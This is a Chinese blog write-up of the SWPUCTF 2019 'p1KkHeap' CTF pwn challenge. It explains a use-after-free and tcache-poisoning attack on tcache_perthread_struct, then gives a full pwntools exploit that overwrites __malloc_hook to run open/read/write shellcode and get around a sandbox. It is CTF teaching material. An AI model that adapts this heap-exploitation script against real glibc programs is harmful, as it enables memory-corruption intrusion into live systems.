zoukankan      html  css  js  c++  java
  • SWPUCTF_2019_p1KkHeap

    SWPUCTF_2019_p1KkHeap

    环境:ubuntu18

    考点:UAF,沙箱逃逸

    ubuntu18现在不能构造double free了!!!

    所以我用patchelf来做

    IDA逆一下

    main

    可以看到这里mmap了一块可rwx的空间

    思路:UAF来泄漏tcache地址,然后tcache投毒到tcache_perthread_struct结构体,污染结构体的size链和pointer链,size全填满使得后来堆块可以逃逸结构体,然后后续可改pointer链可以分配到任意地址。

    分配到结构体,free后泄漏libc的地址,因为程序加了沙箱,所以改mmap出的一块可写空间,写入orw的shellcode,然后打malloc hook,为shellcode的地址,然后当我们申请堆块的时候程序自动读flag

     1 '''
     2 author: lemon
     3 time: 2020-10-12
     4 libc:libc-2.27.so
     5 version: python3
     6 '''
     7 
     8 from pwn import *
     9 
    10 local = 0
    11 
    12 binary = "./SWPUCTF_2019_p1KkHeap"
    13 
    14 if local == 1:
    15     p = process(binary)
    16 else:
    17     p = remote("node3.buuoj.cn",28465)
    18 
    19 def dbg():
    20     context.log_level = 'debug'
    21 
    22 context.terminal = ['tmux','splitw','-h']
    23 context(arch = 'amd64',os = 'linux')
    24 
    25 def add(size):
    26     p.sendlineafter('Your Choice: ','1')
    27     p.sendlineafter('size: ',str(size))
    28 
    29 def show(index):
    30     p.sendlineafter('Your Choice: ','2')
    31     p.sendlineafter('id: ',str(index))
    32 
    33 def edit(index,content):
    34     p.sendlineafter('Your Choice: ','3')
    35     p.sendlineafter('id: ',str(index))
    36     p.sendafter('content: ',content)
    37 
    38 def free(index):
    39     p.sendlineafter('Your Choice: ','4')
    40     p.sendlineafter('id: ',str(index))
    41 
    42 libc = ELF("./libc-2.27.so")
    43 
    44 add(0x90)    #chunk0
    45 free(0)
    46 free(0)
    47 
    48 show(0)
    49 leak_tcache = u64(p.recvuntil('x55')[-6:].ljust(8,b'x00')) - 0x250
    50 print("leak_tcache:",hex(leak_tcache))
    51 
    52 add(0x90)    #chunk1
    53 edit(1,p64(leak_tcache))
    54 add(0x90)    #chunk2
    55 add(0x90)    #chunk3
    56 
    57 edit(3,b'a' * 0x40)    # fill in tcache about size area
    58 
    59 free(3)
    60 show(3)
    61 libc_base = u64(p.recvuntil('x7f')[-6:].ljust(8,b'x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
    62 __malloc_hook = libc_base + libc.sym['__malloc_hook']
    63 #one_gadget_list = [0x4f2c5,0x4f332,0x10a38c]
    64 #one_gadget = libc_base + one_gadget_list[0]
    65 
    66 mmap = 0x66660000
    67 shellcode = shellcraft.open('flag')
    68 shellcode += shellcraft.read(3,mmap + 0x200,0x30)
    69 shellcode += shellcraft.write(1,mmap + 0x200,0x30)
    70 shellcode = asm(shellcode)
    71 print("!!!!!shellcode length:",len(shellcode))
    72 
    73 add(0x90)    #chunk4
    74 
    75 edit(4,b'a' * 0x40 + p64(__malloc_hook) + b'a' * (0x10) + p64(mmap))
    76 add(0x40)    #chunk5
    77 edit(5,shellcode)
    78 
    79 add(0x10)    #chunk6: __malloc_hook we use it to jump shellcode
    80 edit(6,p64(mmap))
    81 
    82 add(1)
    83 
    84 #gdb.attach(p)
    85 p.interactive()

  • 相关阅读:
    学习《Building Applications with FME Objects》 之十 使用集合
    oracle左右连接的另外表示方法
    拥抱SQLAlchemy 之二 拉拉手,我请你去看电影~
    Oracle中的Union、Union All、Intersect、Minus
    System.Data.SQLite测试
    SmartSVN + google code
    学习《Building Applications with FME Objects》 之九 高级要素处理
    Django静态文件配置备忘录
    测试oracle with as
    测量坐标系中单个多边形面积解析法计算的程序源代码
  • 原文地址:https://www.cnblogs.com/lemon629/p/13805590.html
Copyright © 2011-2022 走看看